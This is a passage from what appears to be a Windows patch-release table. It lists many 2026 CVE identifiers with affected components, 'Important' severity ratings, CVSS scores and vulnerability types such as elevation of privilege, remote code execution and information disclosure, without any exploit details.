Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  